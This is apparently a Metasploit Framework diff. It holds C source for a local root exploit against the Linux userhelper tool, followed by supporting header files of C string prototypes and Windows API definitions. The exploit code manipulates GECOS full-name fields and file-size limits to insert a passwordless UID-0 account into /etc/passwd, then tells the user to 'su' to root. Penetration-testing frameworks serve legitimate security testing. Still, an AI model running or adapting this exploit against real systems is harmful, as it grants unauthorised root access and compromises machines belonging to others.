main(void)
|
||||
{
|
||||
// msf note: don't backup /etc/passwd to /tmp
|
||||
//create_backup_of_passwd_file();
|
||||
|
||||
{ char candidate[] = "a";
|
||||
for (; candidate[0] <= 'z'; candidate[0]++) {
|
||||
if (getpwnam(candidate) != NULL) continue;
|
||||
strcat(candidate_users, candidate);
|
||||
} }
|
||||
if (candidate_users[0] == '\0') die();
|
||||
|
||||
const struct passwd *const pwd = getpwuid(getuid());
|
||||
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
|
||||
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
|
||||
gecos_parse(pwd->pw_gecos, &my.gecos);
|
||||
|
||||
if (fputs("Please enter your password:\n", stdout) == EOF) die();
|
||||
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
|
||||
char *const newline = strchr(my.password, '\n');
|
||||
if (newline == NULL) die();
|
||||
*newline = '\0';
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
retry:
|
||||
if (generate_userhelpers(IS_USER_LAST)) {
|
||||
struct userhelper *const uh1 = &userhelpers[1];
|
||||
strcpy(uh1->gecos.full_name, "\n");
|
||||
uh1->fsizelim = passwd_fsize + 1;
|
||||
|
||||
struct userhelper *const uh0 = &userhelpers[0];
|
||||
uh0->fsizelim = passwd_fsize;
|
||||
|
||||
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
|
||||
continue_userhelper(uh1), continue_userhelper(uh0);
|
||||
if (generate_userhelpers(IS_USER_LAST)) die();
|
||||
}
|
||||
|
||||
static const char a[] = "?::0:0::/:";
|
||||
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
|
||||
|
||||
const int n = generate_userhelpers(a);
|
||||
if (n == -1) {
|
||||
static int retries;
|
||||
if (retries++) die();
|
||||
memset(userhelpers, 0, sizeof(userhelpers));
|
||||
delete_lines_from_passwd_file();
|
||||
goto retry;
|
||||
}
|
||||
if (n <= 0) die();
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (superuser_elect == '\0') die();
|
||||
|
||||
int i;
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Starting and stopping userhelper #%d\n", i);
|
||||
forkstop_userhelper(&userhelpers[i]);
|
||||
}
|
||||
for (i = n; --i >= 0; ) {
|
||||
printf("Continuing stopped userhelper #%d\n", i);
|
||||
continue_userhelper(&userhelpers[i]);
|
||||
}
|
||||
printf("Exploit successful, run \"su %c\" to become root\n",
|
||||
(int)superuser_elect);
|
||||
|
||||
{ struct userhelper *const uh = &userhelpers[0];
|
||||
uh->fsizelim = RLIM_INFINITY;
|
||||
uh->gecos = my.gecos;
|
||||
forkstop_userhelper(uh);
|
||||
continue_userhelper(uh); }
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
static void
|
||||
generate_fullname(char *const fullname, const ssize_t fullname_len,
|
||||
const char c)
|
||||
{
|
||||
if (fullname == NULL) die();
|
||||
if (fullname_len < 0) die();
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
|
||||
memset(fullname, 'A', fullname_len);
|
||||
|
||||
if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
|
||||
if (!isascii((unsigned char)c)) die();
|
||||
if (!isgraph((unsigned char)c)) die();
|
||||
fullname[fullname_len-1] = c;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t siteinfo_len;
|
||||
static size_t fullname_off;
|
||||
|
||||
static size_t before_fullname_len;
|
||||
static char * before_fullname;
|
||||
|
||||
static size_t after_fullname_len;
|
||||
static char * after_fullname;
|
||||
|
||||
static int
|
||||
generate_userhelper(const char *const a, const int i, char *const contents)
|
||||
{
|
||||
if (i < 0) {
|
||||
if (i != -1) die();
|
||||
return 0;
|
||||
}
|
||||
if (a == NULL) die();
|
||||
if ((unsigned int)i >= strlen(a)) die();
|
||||
if (contents == NULL) die();
|
||||
|
||||
const char _c = a[i];
|
||||
const bool is_user_wildcard = (_c == '?');
|
||||
const char c = (is_user_wildcard ? candidate_users[0] : _c);
|
||||
if (c == '\0') die();
|
||||
|
||||
const size_t target = passwd_fsize-1 + i;
|
||||
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
|
||||
if (fsizelim < passwd_fsize) die();
|
||||
|
||||
const size_t contents_len = strlen(contents);
|
||||
if (contents_len < passwd_fsize) die();
|
||||
if (contents_len <= fullname_off) die();
|
||||
|
||||
char *const fullname = contents + fullname_off;
|
||||
if (memcmp(fullname - before_fullname_len,
|
||||
before_fullname, before_fullname_len) != 0) die();
|
||||
|
||||
const char *rest = strchr(fullname, '\n');
|
||||
if (rest == NULL) die();
|
||||
rest++;
|
||||
|
||||
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len < 0) die();
|
||||
|
||||
if (rest[-1] != '\n') die();
|
||||
generate_fullname(fullname, fullname_len, c);
|
||||
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
|
||||
if (rest[-1] != '\n') die();
|
||||
|
||||
if (memcmp(rest - after_fullname_len,
|
||||
after_fullname, after_fullname_len) != 0) die();
|
||||
|
||||
size_t offset;
|
||||
for (offset = fullname_off; offset < contents_len; offset++) {
|
||||
|
||||
const char x = contents[offset];
|
||||
if (x == '\0') die();
|
||||
if (is_user_wildcard) {
|
||||
if (strchr(candidate_users, x) == NULL) continue;
|
||||
superuser_elect = x;
|
||||
} else {
|
||||
if (x != c) continue;
|
||||
}
|
||||
|
||||
const ssize_t new_fullname_len = fullname_len + (target - offset);
|
||||
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
|
||||
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
|
||||
|
||||
if (offset < fullname_off + fullname_len) {
|
||||
if (offset != fullname_off + fullname_len-1) die();
|
||||
if (new_fullname_len == 0) continue;
|
||||
}
|
||||
if (offset >= contents_len-1) {
|
||||
if (offset != contents_len-1) die();
|
||||
if (fsizelim != RLIM_INFINITY) continue;
|
||||
}
|
||||
|
||||
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
|
||||
|
||||
memcpy(new_contents, contents, fullname_off);
|
||||
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
|
||||
memcpy(new_contents + fullname_off + new_fullname_len,
|
||||
contents + fullname_off + fullname_len,
|
||||
contents_len+1 - (fullname_off + fullname_len));
|
||||
|
||||
if (strlen(new_contents) != contents_len +
|
||||
(new_fullname_len - fullname_len)) die();
|
||||
|
||||
if (fsizelim != RLIM_INFINITY) {
|
||||
if (fsizelim >= strlen(new_contents)) die();
|
||||
if (fsizelim >= contents_len) die();
|
||||
memcpy(new_contents + fsizelim,
|
||||
contents + fsizelim,
|
||||
contents_len+1 - fsizelim);
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, i-1, new_contents);
|
||||
free(new_contents);
|
||||
if (err < 0) continue; }
|
||||
|
||||
if (i >= GECOS_LENGTH) die();
|
||||
struct userhelper *const uh = &userhelpers[i];
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
|
||||
uh->fsizelim = fsizelim;
|
||||
if (new_fullname_len >= GECOS_LENGTH) die();
|
||||
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int
|
||||
generate_userhelpers(const char *const _a)
|
||||
{
|
||||
char a[GECOS_LENGTH];
|
||||
if (_a == NULL) die();
|
||||
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (n <= 0) die();
|
||||
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= 10*1024*1024) die();
|
||||
if (st.st_size <= 0) die();
|
||||
passwd_fsize = st.st_size;
|
||||
|
||||
char *const contents = xmalloc(passwd_fsize + 1);
|
||||
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
|
||||
xclose(fd);
|
||||
contents[passwd_fsize] = '\0';
|
||||
if (strlen(contents) != passwd_fsize) die();
|
||||
if (contents[passwd_fsize-1] != '\n') die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
const char *line = strstr(contents, fragment);
|
||||
if (line == NULL) die();
|
||||
line++;
|
||||
|
||||
const char *rest = strchr(line, '\n');
|
||||
if (rest == NULL) die();
|
||||
if (rest <= line) die();
|
||||
rest++;
|
||||
|
||||
if (strcmp(_a, IS_USER_LAST) == 0) {
|
||||
const bool is_user_last = (*rest == '\0');
|
||||
free(contents);
|
||||
return is_user_last;
|
||||
}
|
||||
|
||||
unsigned int i;
|
||||
const char *field = line;
|
||||
|
||||
for (i = 0; i <= 5; i++) {
|
||||
const char *const field_end = strchr(field, ':');
|
||||
if (field_end == NULL) die();
|
||||
if (field_end >= rest) die();
|
||||
const size_t field_len = field_end - field;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
if (field_len != strlen(my.username)) die();
|
||||
if (memcmp(field, my.username, field_len) != 0) die();
|
||||
break;
|
||||
case 1:
|
||||
if (*field != 'x') die();
|
||||
break;
|
||||
case 2:
|
||||
if (strtoimax(field, NULL, 10) != getuid()) die();
|
||||
break;
|
||||
case 3:
|
||||
if (strtoimax(field, NULL, 10) != getgid()) die();
|
||||
break;
|
||||
case 4:
|
||||
{
|
||||
char assembled[GECOS_LENGTH];
|
||||
xsnprintf(assembled, sizeof(assembled),
|
||||
"%.*s", (int)field_len, field);
|
||||
if (strlen(assembled) != field_len) die();
|
||||
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
|
||||
}
|
||||
|
||||
siteinfo_len = strlen(my.gecos.site_info);
|
||||
fullname_off = field - contents;
|
||||
|
||||
before_fullname_len = field - line;
|
||||
before_fullname = xstrndup(line, before_fullname_len);
|
||||
|
||||
after_fullname_len = rest - field;
|
||||
after_fullname = xstrndup(field, after_fullname_len);
|
||||
break;
|
||||
|
||||
case 5:
|
||||
if (*field != '/') die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
field = field_end + 1;
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, n-1, contents);
|
||||
|
||||
free(before_fullname), before_fullname = NULL;
|
||||
free(after_fullname), after_fullname = NULL;
|
||||
free(contents);
|
||||
|
||||
return (err < 0) ? -1 : n;
|
||||
}
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,27 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void *memchr(const void*, int, size_t);
|
||||
int memcmp(const void*, const void*, size_t);
|
||||
void *memcpy(void*, const void*, size_t);
|
||||
void *memmove(void*, const void*, size_t);
|
||||
void *memset(void*, int, size_t);
|
||||
char *strcat(char*, const char*);
|
||||
char *strncat(char*, const char*, size_t);
|
||||
char *strchr(const char*, int);
|
||||
int strcmp(const char*, const char*);
|
||||
int strncmp(const char*, const char*, size_t);
|
||||
int strcoll(const char*, const char*);
|
||||
char *strcpy(char*, const char*);
|
||||
char *strncpy(char*, const char*, size_t);
|
||||
size_t strcspn(const char*, const char*);
|
||||
char *strerror(int);
|
||||
size_t strlen(const char*);
|
||||
char *strpbrk(const char*, const char*);
|
||||
char *strrchr(const char*, int);
|
||||
size_t strspn(const char*, const char*);
|
||||
char *strstr(const char*, const char*);
|
||||
char *strtok(char*, const char*);
|
||||
size_t strxfrm(char*, const char*, size_t);
|
|
@ -0,0 +1,542 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define MAX_PATH 260
|
||||
#define MEM_COMMIT 0x00001000
|
||||
#define MEM_RESERVE 0x00002000
|
||||
#define MEM_RESET 0x00080000
|
||||
#define MEM_RESET_UNDO 0x1000000
|
||||
#define MEM_LARGE_PAGES 0x20000000
|
||||
#define MEM_PHYSICAL 0x00400000
|
||||
#define MEM_TOP_DOWN 0x00100000
|
||||
#define MEM_WRITE_WATCH 0x00200000
|
||||
#define PAGE_EXECUTE_READWRITE 0x00000040
|
||||
#define HEAP_GENERATE_EXCEPTIONS 0x00000004
|
||||
#define HEAP_NO_SERIALIZE 0x00000001
|
||||
#define HEAP_REALLOC_IN_PLACE_ONLY 0x00000010
|
||||
#define HEAP_ZERO_MEMORY 0x00000008
|
||||
#define STARTF_FORCEONFEEDBACK 0x00000040
|
||||
#define STARTF_FORCEOFFFEEDBACK 0x00000080
|
||||
#define STARTF_PREVENTPINNING 0x00002000
|
||||
#define STARTF_RUNFULLSCREEN 0x00000020
|
||||
#define STARTF_TITLEISAPPID 0x00001000
|
||||
#define STARTF_TITLEISLINKNAME 0x00000800
|
||||
#define STARTF_USECOUNTCHARS 0x00000008
|
||||
#define STARTF_USEFILLATTRIBUTE 0x00000010
|
||||
#define STARTF_USEHOTKEY 0x00000200
|
||||
#define STARTF_USEPOSITION 0x00000004
|
||||
#define STARTF_USESHOWWINDOW 0x00000001
|
||||
#define STARTF_USESIZE 0x00000002
|
||||
#define STARTF_USESTDHANDLES 0x00000100
|
||||
#define GW_CHILD 5
|
||||
#define GW_ENABLEDPOPUP 6
|
||||
#define GW_HWNDFIRST 0
|
||||
#define GW_HWNDLAST 1
|
||||
#define GW_HWNDNEXT 2
|
||||
#define GW_OWNER 4
|
||||
#define MB_ABORTRETRYIGNORE 0x00000002L
|
||||
#define MB_CANCELTRYCONTINUE 0x00000006L
|
||||
#define MB_HELP 0x00004000L
|
||||
#define MB_OK 0x00000000L
|
||||
#define MB_OKCANCEL 0x00000001L
|
||||
#define MB_RETRYCANCEL 0x00000005L
|
||||
#define MB_YESNO 0x00000004L
|
||||
#define MB_YESNOCANCEL 0x00000003L
|
||||
#define MB_ICONEXCLAMATION 0x00000030L
|
||||
#define MB_ICONWARNING 0x00000030L
|
||||
#define MB_ICONINFORMATION 0x00000040L
|
||||
#define MB_ICONASTERISK 0x00000040L
|
||||
#define MB_ICONQUESTION 0x00000020L
|
||||
#define MB_ICONSTOP 0x00000010L
|
||||
#define MB_ICONERROR 0x00000010L
|
||||
#define MB_ICONHAND 0x00000010L
|
||||
#define MB_DEFBUTTON1 0x00000000L
|
||||
#define MB_DEFBUTTON2 0x00000100L
|
||||
#define MB_DEFBUTTON3 0x00000200L
|
||||
#define MB_DEFBUTTON4 0x00000300L
|
||||
#define MB_APPLMODAL 0x00000000L
|
||||
#define MB_SYSTEMMODAL 0x00001000L
|
||||
#define MB_TASKMODAL 0x00002000L
|
||||
#define MB_DEFAULT_DESKTOP_ONLY 0x00020000L
|
||||
#define MB_RIGHT 0x00080000L
|
||||
#define MB_RTLREADING 0x00100000L
|
||||
#define MB_SETFOREGROUND 0x00010000L
|
||||
#define MB_TOPMOST 0x00040000L
|
||||
#define MB_SERVICE_NOTIFICATION 0x00200000L
|
||||
#define IDABORT 3
|
||||
#define IDCANCEL 2
|
||||
#define IDCONTINUE 11
|
||||
#define IDIGNORE 5
|
||||
#define IDNO 7
|
||||
#define IDOK 1
|
||||
#define IDRETRY 4
|
||||
#define IDTRYAGAIN 10
|
||||
#define IDYES 6
|
||||
#define HEAP_CREATE_ENABLE_EXECUTE 0x00040000
|
||||
#define SC_MANAGER_ALL_ACCESS 0xf003f
|
||||
#define SC_MANAGER_CONNECT 1
|
||||
#define SC_MANAGER_CREATE_SERVICE 2
|
||||
#define SC_MANAGER_ENUMERATE_SERVICE 4
|
||||
#define SC_MANAGER_LOCK 8
|
||||
#define SC_MANAGER_QUERY_LOCK_STATUS 16
|
||||
#define SC_MANAGER_MODIFY_BOOT_CONFIG 32
|
||||
#define SERVICE_NO_CHANGE (-1)
|
||||
#define SERVICE_STOPPED 1
|
||||
#define SERVICE_START_PENDING 2
|
||||
#define SERVICE_STOP_PENDING 3
|
||||
#define SERVICE_RUNNING 4
|
||||
#define SERVICE_CONTINUE_PENDING 5
|
||||
#define SERVICE_PAUSE_PENDING 6
|
||||
#define SERVICE_PAUSED 7
|
||||
#define SERVICE_ACCEPT_STOP 1
|
||||
#define SERVICE_ACCEPT_PAUSE_CONTINUE 2
|
||||
#define SERVICE_ACCEPT_SHUTDOWN 4
|
||||
#define SERVICE_CONTROL_STOP 1
|
||||
#define SERVICE_CONTROL_PAUSE 2
|
||||
#define SERVICE_CONTROL_CONTINUE 3
|
||||
#define SERVICE_CONTROL_INTERROGATE 4
|
||||
#define SERVICE_CONTROL_SHUTDOWN 5
|
||||
#define SERVICE_ACTIVE 1
|
||||
#define SERVICE_INACTIVE 2
|
||||
#define SERVICE_STATE_ALL 3
|
||||
#define SERVICE_QUERY_CONFIG 1
|
||||
#define SERVICE_CHANGE_CONFIG 2
|
||||
#define SERVICE_QUERY_STATUS 4
|
||||
#define SERVICE_ENUMERATE_DEPENDENTS 8
|
||||
#define SERVICE_START 16
|
||||
#define SERVICE_STOP 32
|
||||
#define SERVICE_PAUSE_CONTINUE 64
|
||||
#define SERVICE_INTERROGATE 128
|
||||
#define SERVICE_USER_DEFINED_CONTROL 256
|
||||
#define SERVICE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS|SERVICE_ENUMERATE_DEPENDENTS|SERVICE_START|SERVICE_STOP|SERVICE_PAUSE_CONTINUE|SERVICE_INTERROGATE|SERVICE_USER_DEFINED_CONTROL)
|
||||
#define GHND 0x0042
|
||||
#define GMEM_FIXED 0x0000
|
||||
#define GMEM_MOVEABLE 0x0002
|
||||
#define GMEM_ZEROINIT 0x0040
|
||||
#define GPTR 0x0040
|
||||
#define WH_CALLWNDPROC 4
|
||||
#define WH_CALLWNDPROCRET 12
|
||||
#define WH_CBT 5
|
||||
#define WH_DEBUG 9
|
||||
#define WH_FOREGROUNDIDLE 11
|
||||
#define WH_GETMESSAGE 3
|
||||
#define WH_JOURNALPLAYBACK 1
|
||||
#define WH_JOURNALRECORD 0
|
||||
#define WH_KEYBOARD 2
|
||||
#define WH_KEYBOARD_LL 13
|
||||
#define WH_MOUSE 7
|
||||
#define WH_MOUSE_LL 14
|
||||
#define WH_MSGFILTER -1
|
||||
#define WH_SHELL 10
|
||||
#define WH_SYSMSGFILTER 6
|
||||
#define GENERIC_READ 0x80000000
|
||||
#define GENERIC_WRITE 0x40000000
|
||||
#define GENERIC_EXECUTE 0x20000000
|
||||
#define GENERIC_ALL 0x10000000
|
||||
#define FILE_SHARE_READ 0x00000001
|
||||
#define FILE_SHARE_WRITE 0x00000002
|
||||
#define FILE_SHARE_DELETE 0x00000004
|
||||
#define CREATE_NEW 1
|
||||
#define CREATE_ALWAYS 2
|
||||
#define OPEN_EXISTING 3
|
||||
#define OPEN_ALWAYS 4
|
||||
#define TRUNCATE_EXISTING 5
|
||||
#define FILE_ATTRIBUTE_READONLY 0x00000001
|
||||
#define FILE_ATTRIBUTE_NORMAL 0x00000080
|
||||
#define FILE_ATTRIBUTE_TEMPORARY 0x00000100
|
||||
#define FILE_FLAG_WRITE_THROUGH 0x80000000
|
||||
#define FILE_FLAG_NO_BUFFERING 0x20000000
|
||||
#define FILE_FLAG_RANDOM_ACCESS 0x10000000
|
||||
#define FILE_FLAG_SEQUENTIAL_SCAN 0x08000000
|
||||
#define FILE_FLAG_DELETE_ON_CLOSE 0x04000000
|
||||
#define FILE_FLAG_OVERLAPPED 0x40000000
|
||||
#define FILE_ATTRIBUTE_HIDDEN 0x00000002
|
||||
#define FILE_ATTRIBUTE_SYSTEM 0x00000004
|
||||
#define FILE_ATTRIBUTE_DIRECTORY 0x00000010
|
||||
#define FILE_ATTRIBUTE_ARCHIVE 0x00000020
|
||||
#define FILE_ATTRIBUTE_DEVICE 0x00000040
|
||||
#define ERROR_FILE_NOT_FOUND 2L
|
||||
#define ERROR_NO_MORE_FILES 18L
|
||||
#define INVALID_HANDLE_VALUE ((HANDLE) -1)
|
||||
#define INVALID_FILE_SIZE ((DWORD)0xFFFFFFFF)
|
||||
#define FILE_NAME_NORMALIZED 0x0
|
||||
#define FILE_NAME_OPENED 0x8
|
||||
#define VOLUME_NAME_DOS 0x0
|
||||
#define VOLUME_NAME_GUID 0x1
|
||||
#define VOLUME_NAME_NONE 0x4
|
||||
#define VOLUME_NAME_NT 0x2
|
||||
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
|
||||
#define SERVICE_KERNEL_DRIVER 0x00000001
|
||||
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
|
||||
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
|
||||
#define SERVICE_USER_OWN_PROCESS 0x00000050
|
||||
#define SERVICE_USER_SHARE_PROCESS 0x00000060
|
||||
#define SERVICE_INTERACTIVE_PROCESS 0x00000100
|
||||
#define SERVICE_CONTINUE_PENDING 0x00000005
|
||||
#define SERVICE_PAUSE_PENDING 0x00000006
|
||||
#define SERVICE_PAUSED 0x00000007
|
||||
#define SERVICE_RUNNING 0x00000004
|
||||
#define SERVICE_START_PENDING 0x00000002
|
||||
#define SERVICE_STOP_PENDING 0x00000003
|
||||
#define SERVICE_STOPPED 0x00000001
|
||||
#define SERVICE_AUTO_START 0x00000002
|
||||
#define SERVICE_BOOT_START 0x00000000
|
||||
#define SERVICE_DEMAND_START 0x00000003
|
||||
#define SERVICE_DISABLED 0x00000004
|
||||
#define SERVICE_SYSTEM_START 0x00000001
|
||||
#define SERVICE_ERROR_CRITICAL 0x00000003
|
||||
#define SERVICE_ERROR_IGNORE 0x00000000
|
||||
#define SERVICE_ERROR_NORMAL 0x00000001
|
||||
#define SERVICE_ERROR_SEVERE 0x00000002
|
||||
#define SERVICE_DRIVER 0x0000000B
|
||||
#define SERVICE_FILE_SYSTEM_DRIVER 0x00000002
|
||||
#define SERVICE_KERNEL_DRIVER 0x00000001
|
||||
#define SERVICE_WIN32 0x00000030
|
||||
#define SERVICE_WIN32_OWN_PROCESS 0x00000010
|
||||
#define SERVICE_WIN32_SHARE_PROCESS 0x00000020
|
||||
#define MAKEWORD(a,b) ((WORD)(((BYTE)(a))|(((WORD)((BYTE)(b)))<<8)))
|
||||
#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
#define ZeroMemory RtlZeroMemory
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
DWORD nLength;
|
||||
LPVOID lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES , *LPSECURITY_ATTRIBUTES;
|
||||
|
||||
typedef struct _LPTHREAD_START_ROUTINE {
|
||||
LPVOID lpThreadParameter;
|
||||
} LPTHREAD_START_ROUTINE, *LPTHREAD_START_ROUTINE;
|
||||
|
||||
typedef struct _STARTUPINFO {
|
||||
DWORD cb;
|
||||
LPTSTR lpReserved;
|
||||
LPTSTR lpDesktop;
|
||||
LPTSTR lpTitle;
|
||||
DWORD dwX;
|
||||
DWORD dwY;
|
||||
DWORD dwXSize;
|
||||
DWORD dwYSize;
|
||||
DWORD dwXCountChars;
|
||||
DWORD dwYCountChars;
|
||||
DWORD dwFillAttribute;
|
||||
DWORD dwFlags;
|
||||
WORD wShowWindow;
|
||||
WORD cbReserved2;
|
||||
LPBYTE lpReserved2;
|
||||
HANDLE hStdInput;
|
||||
HANDLE hStdOutput;
|
||||
HANDLE hStdError;
|
||||
} STARTUPINFO, *LPSTARTUPINFO;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
DWORD dwProcessId;
|
||||
DWORD dwThreadId;
|
||||
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
|
||||
|
||||
typedef struct _OVERLAPPED {
|
||||
ULONG_PTR Internal;
|
||||
ULONG_PTR InternalHigh;
|
||||
union {
|
||||
struct {
|
||||
DWORD Offset;
|
||||
DWORD OffsetHigh;
|
||||
};
|
||||
PVOID Pointer;
|
||||
};
|
||||
HANDLE hEvent;
|
||||
} OVERLAPPED, *LPOVERLAPPED;
|
||||
|
||||
typedef DWORD SERVICE_STATUS_HANDLE;
|
||||
|
||||
typedef enum _SC_ENUM_TYPE {
|
||||
SC_ENUM_PROCESS_INFO = 0
|
||||
} SC_ENUM_TYPE;
|
||||
|
||||
typedef enum _HEAP_INFORMATION_CLASS {
|
||||
HeapCompatibilityInformation = 0,
|
||||
HeapEnableTerminationOnCorruption = 1
|
||||
} HEAP_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _FILETIME {
|
||||
DWORD dwLowDateTime;
|
||||
DWORD dwHighDateTime;
|
||||
} FILETIME, *PFILETIME;
|
||||
|
||||
typedef struct _WIN32_FIND_DATA {
|
||||
DWORD dwFileAttributes;
|
||||
FILETIME ftCreationTime;
|
||||
FILETIME ftLastAccessTime;
|
||||
FILETIME ftLastWriteTime;
|
||||
DWORD nFileSizeHigh;
|
||||
DWORD nFileSizeLow;
|
||||
DWORD dwReserved0;
|
||||
DWORD dwReserved1;
|
||||
TCHAR cFileName[MAX_PATH];
|
||||
TCHAR cAlternateFileName[14];
|
||||
} WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA;
|
||||
|
||||
typedef struct tagPOINT {
|
||||
LONG x;
|
||||
LONG y;
|
||||
} POINT, *PPOINT;
|
||||
|
||||
typedef struct tagMSG {
|
||||
HWND hwnd;
|
||||
UINT message;
|
||||
WPARAM wParam;
|
||||
LPARAM lParam;
|
||||
DWORD time;
|
||||
POINT pt;
|
||||
} MSG, *PMSG, *LPMSG;
|
||||
|
||||
typedef struct _BY_HANDLE_FILE_INFORMATION {
|
||||
DWORD dwFileAttributes;
|
||||
FILETIME ftCreationTime;
|
||||
FILETIME ftLastAccessTime;
|
||||
FILETIME ftLastWriteTime;
|
||||
DWORD dwVolumeSerialNumber;
|
||||
DWORD nFileSizeHigh;
|
||||
DWORD nFileSizeLow;
|
||||
DWORD nNumberOfLinks;
|
||||
DWORD nFileIndexHigh;
|
||||
DWORD nFileIndexLow;
|
||||
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;
|
||||
|
||||
typedef struct _SERVICE_STATUS {
|
||||
DWORD dwServiceType;
|
||||
DWORD dwCurrentState;
|
||||
DWORD dwControlsAccepted;
|
||||
DWORD dwWin32ExitCode;
|
||||
DWORD dwServiceSpecificExitCode;
|
||||
DWORD dwCheckPoint;
|
||||
DWORD dwWaitHint;
|
||||
} SERVICE_STATUS, *LPSERVICE_STATUS;
|
||||
|
||||
typedef struct _ENUM_SERVICE_STATUS {
|
||||
LPTSTR lpServiceName;
|
||||
LPTSTR lpDisplayName;
|
||||
SERVICE_STATUS ServiceStatus;
|
||||
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
|
||||
|
||||
typedef struct _GUID {
|
||||
DWORD Data1;
|
||||
WORD Data2;
|
||||
WORD Data3;
|
||||
BYTE Data4[8];
|
||||
} GUID;
|
||||
|
||||
typedef VOID (CALLBACK *LPOVERLAPPED_COMPLETION_ROUTINE)(DWORD,DWORD,LPOVERLAPPED);
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessQuotaLimits = 1,
|
||||
ProcessIoCounters = 2,
|
||||
ProcessVmCounters = 3,
|
||||
ProcessTimes = 4,
|
||||
ProcessBasePriority = 5,
|
||||
ProcessRaisePriority = 6,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessExceptionPort = 8,
|
||||
ProcessAccessToken = 9,
|
||||
ProcessLdtInformation = 10,
|
||||
ProcessLdtSize = 11,
|
||||
ProcessDefaultHardErrorMode = 12,
|
||||
ProcessIoPortHandlers = 13,
|
||||
ProcessPooledUsageAndLimits = 14,
|
||||
ProcessWorkingSetWatch = 15,
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessEnableAlignmentFaultFixup = 17,
|
||||
ProcessPriorityClass = 18,
|
||||
ProcessWx86Information = 19,
|
||||
ProcessHandleCount = 20,
|
||||
ProcessAffinityMask = 21,
|
||||
ProcessPriorityBoost = 22,
|
||||
ProcessDeviceMap = 23,
|
||||
ProcessSessionInformation = 24,
|
||||
ProcessForegroundInformation = 25,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessLUIDDeviceMapsEnabled = 28,
|
||||
ProcessBreakOnTermination = 29,
|
||||
ProcessDebugObjectHandle = 30,
|
||||
ProcessDebugFlags = 31,
|
||||
ProcessHandleTracing = 32,
|
||||
ProcessIoPriority = 33,
|
||||
ProcessExecuteFlags = 34,
|
||||
ProcessTlsInformation = 35,
|
||||
ProcessCookie = 36,
|
||||
ProcessImageInformation = 37,
|
||||
ProcessCycleTime = 38,
|
||||
ProcessPagePriority = 39,
|
||||
ProcessInstrumentationCallback = 40,
|
||||
ProcessThreadStackAllocation = 41,
|
||||
ProcessWorkingSetWatchEx = 42,
|
||||
ProcessImageFileNameWin32 = 43,
|
||||
ProcessImageFileMapping = 44,
|
||||
ProcessAffinityUpdateMode = 45,
|
||||
ProcessMemoryAllocationMode = 46,
|
||||
